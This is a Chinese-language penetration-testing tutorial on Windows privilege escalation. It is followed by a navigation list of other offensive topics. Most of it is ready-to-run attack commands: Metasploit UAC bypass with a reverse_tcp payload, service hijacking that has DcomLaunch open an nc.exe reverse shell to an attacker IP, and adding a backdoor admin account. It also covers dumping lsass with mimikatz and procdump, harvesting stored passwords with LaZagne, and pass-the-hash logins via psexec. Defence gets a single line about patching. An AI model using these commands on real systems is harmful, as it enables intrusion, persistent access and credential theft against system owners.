# Windows系统提权
## 提权知识储备
### 1️⃣常见提权方法
>1、 溢出漏洞提权
2、 数据库提权
3、 第三方软件提权
### 2️⃣Cmd命令无法执行原因分析
有时通过webshell连接上操作系统后,cmd命令可能无法执行,原因一般都是被管理员降权或删除、组件被删除。
解决方法是通过脚本木马查找可读可写目录,上传cmd.exe,调用设定cmd路径(找可读可写目录不要选带空格目录)。
```cmd
#设置cmd执行路径
setp c:\xxx\vvv\cmd.exe
```
### 3️⃣提权常用命令讲解
```
whoami ——查看用户权限
systeminfo ——查看操作系统,补丁情况
ipconfig——查看当前服务器IP ipconfig /all
net user——查看当前用户情况
netstat ——查看当前网络连接情况
netstat –ano /netstat –an | find “ESTABLISHED”
tasklist ——查看当前进程情况 tasklist /svc
taskkill ——结束进程 taskkill -PID xx
net start ——启动服务
net stop ——停止服务
hostname ——获取主机名称
quser or query user ——获取在线用户
netstat -ano | findstr 3389 ——获取rdp连接来源IP
dir c:\programdata\ ——分析安装杀软
wmic qfe get Caption,Description,HotFixID,InstalledOn ——列出已安装的补丁
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber ——获取远程端口
tasklist /svc | find "TermService" + netstat -ano ——获取远程端口
```
## 系统溢出漏洞提权实战
### **零、系统溢出漏洞提权分类:**
1. 远程溢出
攻击者只需要与服务器建立连接,然后根据系统的漏洞,使用相应的溢出程序,即可获取到远程服务器的root权限。
2. 本地溢出
首先要有服务器的一个用户,且需要有执行的权限的用户才能发起提权,
攻击者通常会向服务器上传本地溢出程序,在服务器端执行,如果系统存在漏洞,那么将溢出root权限
### 一、UAC绕过提权
UAC(User Account Control)是微软在 Windows Vista 以后版本引入的一种安全机制,通过 UAC,应用程序和任务可始终在非管理员帐户的安全上下文中运行,除非管理员特别授予管理员级别的系统访问权限。
当获得的权限是属于管理员组的时候但是并不是administrator这个用户,此时就可能需要我们进行绕过UAC的操作,否则虽然是管理员组但是实际上并没有管理员所对应的高权限操作,这个时候就需要bypass uac。
**uac 绕过exp**
```sh
#用kali
use exploit/windows/local/ask
meterpreter > background [*] Backgrounding session 1...
msf5 exploit(multi/handler) > use exploit/windows/local/ask
msf5 exploit(windows/local/ask) > set session 1
msf5 exploit(windows/local/ask) > set lhost 192.168.60.79
msf5 exploit(windows/local/ask) > set lport 4444
msf5 exploit(windows/local/ask) > set payload windows/meterpreter/reverse_tcp
msf5 exploit(windows/local/ask) > set technique exe
msf5 exploit(windows/local/ask) > exploit
其他exp:
use exploit/windows/local/bypassuacuse
exploit/windows/local/bypassuac
```
### 二、利用系统内核溢出漏洞提权
此提权方法即是通过系统本身存在的一些漏洞,未曾打相应的补丁而暴露出来的提权方法,依托可以提升权限的EXP和它们的补丁编号,进行提升权限。
**微软官方时刻关注漏洞补丁列表网址:**
https://docs.microsoft.com/zh-cn/security-updates/securitybulletins/2017/securitybulletins2017
>比如常用的几个已公布的 exp:KB2592799、KB3000061、KB2592799
**github中整理好的溢出提权exp:**
https://github.com/SecWiki/windows-kernel-exploits
https://github.com/WindowsExploits/Exploits
https://github.com/AusJock/Privilege-Escalation
#### 如何判断可用的漏洞
1. **快速查找操作系统未打补丁脚本**
可以最安全的减少目标机的未知错误,以免影响业务。 命令行下执行检测未打补丁的命令如下:
```cmd
systeminfo>micropoor.txt&(for %i in ( KB977165 KB2160329 KB2503665 KB2592799 KB2707511 KB2829361 KB2850851 KB3000061 KB3045171 KB3077657 KB3079904 KB3134228 KB3143141 KB3141780 ) do @type micropoor.txt|@find /i "%i"|| @echo %i you can fuck)&del /f /q /a micropoor.txt
```
2. **MSF后渗透扫描:**
```
post/windows/gather/enum_patches
```
3. **Powershell扫描:**
```
Import-Module C:\Sherlock.ps1
Find-AllVulns
```
### 三、利用SC将administrator提权至system
**试用版本:**windows 7、8、03、08、12、16
关于sc命令:SC 是用于与服务控制管理器和服务进行通信的命令行程序。提供的功能类似于“控制面板”中“管理工具”项中的“服务”。
```cmd
sc Create syscmd binPath= “cmd /K start” type= own type= interact
sc start systcmd
```
>命令含义:
>创建一个名叫syscmd的新的交互式的cmd服务
>然后执行`sc start systcmd`,就得到了一个system权限的cmd环境
### 四、利用不带引号的服务路径
**Windows命令解释程序可能会遇到名称中的空格,并且没有包装在引号中的时候。就有可能出现解析漏洞。**
如开机自启动中有程序路径`C:\Program Files\Vulnerable.exe`,其中存在空格,此时在C盘根目录上传Program.exe文件时,可能会被目标开机自启动。如果无效,还可以尝试在C:\Program Files路径下上传Vulnerable.exe文件。
```
C:\Program.exe
C:\Program Files\Vulnerable.exe
C:\Program Files\Vulnerable Service\Sub.exe
C:\Program Files\Vulnerable Service\Sub Directory\service.exe
```
**可以使用以下命令查看错误配置的路径**
```cmd
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
```
### 五、利用不安全的服务权限
**⚫即使正确引用了服务路径,也可能存在其他漏洞。由于管理配置错误,用户可能对服务拥有过多的权限,例如,可以直接修改它。**
**AccessChk工具可以用来查找用户可以修改的服务:**
```cmd
accesschk.exe -uwcqv “Authenticated Users” * /accepteula
accesschk.exe -uwcqv “user” *
```
**sc命令也可以用来查找用户可以修改的服务:**
```cmd
#查找可以修改的服务
sc qc “Service”
sc config xxx binpath= “net user rottenadmin P@ssword123! /add”
sc stop xxx
sc start xxx
```
每当我们开启服务时sc命令都返回了一个错误。这是因为net user命令没有指向二进制服务,因此SCM无法 与服务进行通信,通过使用执行自动迁移到新进程的payload,手动迁移进程,或者在执行后将服务的bin路径设置回原始服务二进制文件,可以解决这个问题。或者我们在权限允许的情况下,将我们的木马放到服务目录下,并重命名为服务启动的应用名称。电脑重启时即可获得一个system的shell
##### 完整案例:
**①、利用系统自带的 DcomLaunch服务测试(此服务Power User组低权可操作)**
```cmd
#查询DcomLaunch的详细信息
sc qc DcomLaunch
#查看服务是否启动
net start | find "DCOM Server Process Launcher"
#运行 tasklist /svc 找到对应服务
tasklist /svc
```
**②、修改服务并获取系统权限**
这里要配置使用nc反弹shell到我的攻击机上,把nc放到c:\windows\temp目录下,使用sc对服务进行修改
```
sc config DcomLaunch binpath= "C:\wmpub\nc.exe -nv 192.168.32.194 4433 -e C:\WINDOWS\system32\cmd.exe"
```
⛔注意`binpath=`后面一定要有个空格,IP为攻击者IP
**③、查看是否第二步成功**
```
sc qc DcomLaunch
```
**④、配置账号密码**
```
sc config DcomLaunch obj= ".\LocalSystem" password= ""
```
**obj:**指定运行服务将使用的帐户名,或指定运行驱动程序将使用的 Windows 驱动程序对象名。默认设置为 LocalSystem。
**password:**指定一个密码。如果使用了非 LocalSystem 的帐户,则此项是必需的。
**⑤、重启服务**
```
net start DcomLaunch
```
**⑥、攻击机上用nc进行监听4433即可得到反弹的shell**
```
nc.exe -vv -l -p 4433
```
### 六、计划任务
**如果攻击者对以高权限运行的任务所在的目录具有写权限,就可以使用恶意程序覆盖原来的程序,这样在下次计划执行时,就会以高权限来运行恶意程序。**
```CMD
#查看计算机的计划任务
schtasks /query /fo LIST /v
#查看指定目录的权限配置情况
accesschk.exe -dqv "D:\test" -accepteula
```
### 七、Meterpreter基础提权
**首先在Meterpreter会话执行ps命令查看目标机当前进程:**
假设此处看到了一个进程,运行账户是域管理员,我们可以再第一栏找到对应的进程PID,假设PID为2584:
然后我们可以执行以下语句窃取该用户进程的令牌:
```
steal_token 2584
```
## 溢出漏洞安全防范
**及时通过Windows Update或第三方工具360更新补丁**
## 提权后获取管理员密码
虽然我们已经有了管理员权限,但是我们最好是再获取管理员密码,原因如下
1. 很多管理员账号密码都设置成一样的,攻下一台就可以拿下所有
2. 远程连接时,比如使用木马,很容易被发现或者清理
3. 如果用管理员账号,可以清除渗透痕迹
4. 正规渗透测试过程中,都是取得管理员账号密码,登录3389端口或反端口连接者证明为成功
> 简单地说就是从获取管理员权限——>获取管理员账号
### 1、本地管理员密码如何直接提取
#### ①、直接通过mimikatz读取管理员密码
> mimikatz,很多人称之为密码抓取神器,它的功能很多,最重要的是能从 lsass.exe进程中获取windows的账号及明文密码——这是以前的事了,微软知道后已经准备了补丁,lsass进程不再保存明文口令。Mimikatz 现在只能读到加密后的密码。
> **win10无效**
```cmd
# 提升权限
privilege::debug
# 抓取密码
sekurlsa::logonpassWords
```
当无法上传mimikatz工具到目标服务器时,可以利用procdump把lsass进程的内存文件导出本地,再在本地利用mimikatz读取密码,具体步骤如下
```cmd
# 导出lsass.exe进程为lsass.dump文件
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
```
#### ②、Lazagne 需要本地支持python
> LaZagne项目是用于开源应用程序获取大量的密码存储在本地计算机上。每个软件都使用不同的技术(纯文本,API,自定义算法,数据库等)存储其密码。
> LaZagne 几乎支持市面上大部分常用工具。包括浏览器、Git、SVN、Wifi、Databases 等。
> 但是对聊天软件的支持不够本土化,主要支持一些国外的聊天软件。
```cmd
laZagne.exe all #获取所有密码
laZagne.exe browsers #只获取浏览器记住的密码
laZagne.exe all -oN #将输出保存到文件
```
-oN表示是纯文本格式(正常的)的输出,和屏幕打印内容相同;还可以写成-oJ,JSON格式的输出,更便于程序解析;或者写成-oA,同时输出两种格式。
### 2、本地Hash远程直接登录
* * *
高版本的系统,密码不是明文的情况下,直接通过哈希值来取得管理员账号。主要通过MSF提供的exploit/windows/smb/psexec模块来完成
```sh
msf>use exploit/windows/smb/psexec
msf>set rhost #目标IP
msf>set SMBUser administrator #目标账号
msf>set SMBPass aaaaaa:bbbbbb #目标哈希值
msf>exploit
msf>shell
```
### 3、Hash密钥暴力破解
* * *
1. 通过LC5暴力hash密码
使用gmer直接提权SAM和system文件或用Pwdump7提取hash后,最后使用LC5破解
2. 使用ophcrack破解系统hash密码
http://simeon.blog.51cto.com/18680/122160
- src导航站
- kali和msf
- 信息收集
- 收集域名信息
- Whois 查询
- 备案信息查询
- 信用信息查询
- IP反查站点的站
- 浏览器插件
- 收集子域名信息
- 在线平台
- 工具枚举
- ssl与证书透明度
- DNS历史解析
- DNS域传送漏洞
- C段探测
- JS文件域名&ip探测
- 搜索引擎&情报社区
- google黑客
- 威胁情报
- 钟馗之眼
- 收集相关应用信息
- 微信公众号&微博
- APP收集&反编译
- 收集常用端口信息
- 常见端口&解析&总结
- 扫描工具
- 网络空间引擎搜索
- 浏览器插件
- nmap扫描
- 收集敏感信息
- 源码泄露
- 邮箱信息收集
- 备份文件泄露
- 目录&后台扫描
- 公网网盘
- 历史资产
- 指纹&WAF&CDN识别
- 指纹识别
- CDN识别
- 绕过CDN查找真实IP
- WAF识别
- 漏洞资源和社工
- 漏洞公共资源库
- 社会工程
- 资产梳理
- 各种对渗透有帮助的平台
- 扫描器
- 扫描器对比
- AppScan(IBM)_web和系统
- AWVS_web扫描
- X-Scan_系统扫描
- WebInspect_HP_WEB
- Netsparker_web
- WVSS_绿盟_web
- 安恒明鉴
- Nessus_系统
- nexpose_系统
- 启明天镜_web_系统
- SQL注入
- 常用函数
- sql注入步骤
- union注入和information_schema库
- 函数和报错注入
- SQL盲注
- 其他注入方式
- 防止SQL注入解决方案
- Access数据库注入
- MSSQL数据库注入
- MYSQL数据库注入
- 神器SQLmap
- xss跨站脚本攻击
- xss原理和分类
- xss案例和修复
- xss绕过技巧
- xss案例
- 文件上传下载包含
- 常有用文件路径
- 文件上传漏洞
- 文件下载漏洞
- 文件包含漏洞
- upload-labs上传漏洞练习
- XXE、SSRF、CSRF
- SSRF原理基础
- SSRF案例实战
- CSRF原理基础
- CSRF案例及防范
- XXE之XML_DTD基础
- XXE之payload与修复
- XXE结合SSRF
- 远程命令执行与反序列化
- 远程命令和代码执行漏洞
- 反序列化漏洞
- 验证码与暴力破解
- 爆破与验证码原理
- CS架构暴力破解
- BS架构暴力破解
- WEB编辑器漏洞
- 编辑器漏洞基础
- Ewebeditor编辑器
- FCKeditor编辑器
- 其他编辑器
- web中间件漏洞
- 中间件解析漏洞
- Tomcat常见的漏洞总结
- Jboss漏洞利用总结
- Weblogic漏洞利用总结
- WEB具体步骤
- 旁注和越权
- CDN绕过
- 越权与逻辑漏洞
- WEB应用常见其他漏洞
- WEB登陆页面渗透思路
- 获取WEBshell思路
- 社工、钓鱼、apt
- 社工和信息收集
- 域名欺骗
- 钓鱼邮件
- 一些钓鱼用的挂马工具
- 代码审计
- 代码审计工具
- WAF绕过
- WAF基础及云WAF
- 各种WAF绕过方法
- 绕过WAF上传文件
- 系统提权
- windows系统提权
- linux系统提权
- 数据库提权操作系统
- 内网横向渗透
- 内网穿透方式
- 一些内网第三方应用提权
- ARP与DOS
- ARP欺骗
- DOS与DDOS
- 一些DOS工具